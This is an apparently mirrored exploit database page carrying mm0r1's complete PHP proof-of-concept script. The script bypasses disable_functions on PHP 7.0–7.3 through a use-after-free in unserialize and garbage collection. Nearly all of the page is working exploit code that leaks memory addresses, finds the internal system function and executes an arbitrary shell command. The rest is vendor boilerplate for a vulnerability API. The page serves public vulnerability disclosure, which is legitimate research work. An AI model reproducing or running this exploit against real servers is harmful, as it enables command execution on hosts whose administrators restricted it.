Lucene search
K

PHP 7.3 disable_functions Bypass

🗓️ 04 Oct 2019 00:00:00Reported by mm0r1Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 343 Views

PHP 7.3 disable_functions Bypass PoC for PHP 7.0-7.3 version

Code
`<?php  
  
# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)  
#  
# Bug: https://bugs.php.net/bug.php?id=72530  
#  
# This exploit should work on all PHP 7.0-7.3 versions  
# released as of 04/10/2019, specifically:  
#   
# PHP 7.0 - 7.0.33  
# PHP 7.1 - 7.1.31  
# PHP 7.2 - 7.2.23  
# PHP 7.3 - 7.3.10  
#  
# Author: https://github.com/mm0r1  
  
pwn("uname -a");  
  
function pwn($cmd) {  
global $abc, $helper;  
  
function str2ptr(&$str, $p = 0, $s = 8) {  
$address = 0;  
for($j = $s-1; $j >= 0; $j--) {  
$address <<= 8;  
$address |= ord($str[$p+$j]);  
}  
return $address;  
}  
  
function ptr2str($ptr, $m = 8) {  
$out = "";  
for ($i=0; $i < $m; $i++) {  
$out .= chr($ptr & 0xff);  
$ptr >>= 8;  
}  
return $out;  
}  
  
function write(&$str, $p, $v, $n = 8) {  
$i = 0;  
for($i = 0; $i < $n; $i++) {  
$str[$p + $i] = chr($v & 0xff);  
$v >>= 8;  
}  
}  
  
function leak($addr, $p = 0, $s = 8) {  
global $abc, $helper;  
write($abc, 0x68, $addr + $p - 0x10);  
$leak = strlen($helper->a);  
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }  
return $leak;  
}  
  
function parse_elf($base) {  
$e_type = leak($base, 0x10, 2);  
  
$e_phoff = leak($base, 0x20);  
$e_phentsize = leak($base, 0x36, 2);  
$e_phnum = leak($base, 0x38, 2);  
  
for($i = 0; $i < $e_phnum; $i++) {  
$header = $base + $e_phoff + $i * $e_phentsize;  
$p_type = leak($header, 0, 4);  
$p_flags = leak($header, 4, 4);  
$p_vaddr = leak($header, 0x10);  
$p_memsz = leak($header, 0x28);  
  
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write  
# handle pie  
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;  
$data_size = $p_memsz;  
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec  
$text_size = $p_memsz;  
}  
}  
  
if(!$data_addr || !$text_size || !$data_size)  
return false;  
  
return [$data_addr, $text_size, $data_size];  
}  
  
function get_basic_funcs($base, $elf) {  
list($data_addr, $text_size, $data_size) = $elf;  
for($i = 0; $i < $data_size / 8; $i++) {  
$leak = leak($data_addr, $i * 8);  
if($leak - $base > 0 && $leak - $base < $text_size) {  
$deref = leak($leak);  
# 'constant' constant check  
if($deref != 0x746e6174736e6f63)  
continue;  
} else continue;  
  
$leak = leak($data_addr, ($i + 4) * 8);  
if($leak - $base > 0 && $leak - $base < $text_size) {  
$deref = leak($leak);  
# 'bin2hex' constant check  
if($deref != 0x786568326e6962)  
continue;  
} else continue;  
  
return $data_addr + $i * 8;  
}  
}  
  
function get_binary_base($binary_leak) {  
$base = 0;  
$start = $binary_leak & 0xfffffffffffff000;  
for($i = 0; $i < 0x1000; $i++) {  
$addr = $start - 0x1000 * $i;  
$leak = leak($addr, 0, 7);  
if($leak == 0x10102464c457f) { # ELF header  
return $addr;  
}  
}  
}  
  
function get_system($basic_funcs) {  
$addr = $basic_funcs;  
do {  
$f_entry = leak($addr);  
$f_name = leak($f_entry, 0, 6);  
  
if($f_name == 0x6d6574737973) { # system  
return leak($addr + 8);  
}  
$addr += 0x20;  
} while($f_entry != 0);  
return false;  
}  
  
class ryat {  
var $ryat;  
var $chtg;  
  
function __destruct()  
{  
$this->chtg = $this->ryat;  
$this->ryat = 1;  
}  
}  
  
class Helper {  
public $a, $b, $c, $d;  
}  
  
if(stristr(PHP_OS, 'WIN')) {  
die('This PoC is for *nix systems only.');  
}  
  
$n_alloc = 10; # increase this value if you get segfaults  
  
$contiguous = [];  
for($i = 0; $i < $n_alloc; $i++)  
$contiguous[] = str_repeat('A', 79);  
  
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';  
$out = unserialize($poc);  
gc_collect_cycles();  
  
$v = [];  
$v[0] = ptr2str(0, 79);  
unset($v);  
$abc = $out[2][0];  
  
$helper = new Helper;  
$helper->b = function ($x) { };  
  
if(strlen($abc) == 79) {  
die("UAF failed");  
}  
  
# leaks  
$closure_handlers = str2ptr($abc, 0);  
$php_heap = str2ptr($abc, 0x58);  
$abc_addr = $php_heap - 0xc8;  
  
# fake value  
write($abc, 0x60, 2);  
write($abc, 0x70, 6);  
  
# fake reference  
write($abc, 0x10, $abc_addr + 0x60);  
write($abc, 0x18, 0xa);  
  
$closure_obj = str2ptr($abc, 0x20);  
  
$binary_leak = leak($closure_handlers, 8);  
if(!($base = get_binary_base($binary_leak))) {  
die("Couldn't determine binary base address");  
}  
  
if(!($elf = parse_elf($base))) {  
die("Couldn't parse ELF header");  
}  
  
if(!($basic_funcs = get_basic_funcs($base, $elf))) {  
die("Couldn't get basic_functions address");  
}  
  
if(!($zif_system = get_system($basic_funcs))) {  
die("Couldn't get zif_system address");  
}  
  
# fake closure object  
$fake_obj_offset = 0xd0;  
for($i = 0; $i < 0x110; $i += 8) {  
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));  
}  
  
# pwn  
write($abc, 0x20, $abc_addr + $fake_obj_offset);  
write($abc, 0xd0 + 0x38, 1, 4); # internal func type  
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler  
  
($helper->b)($cmd);  
  
exit();  
}  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation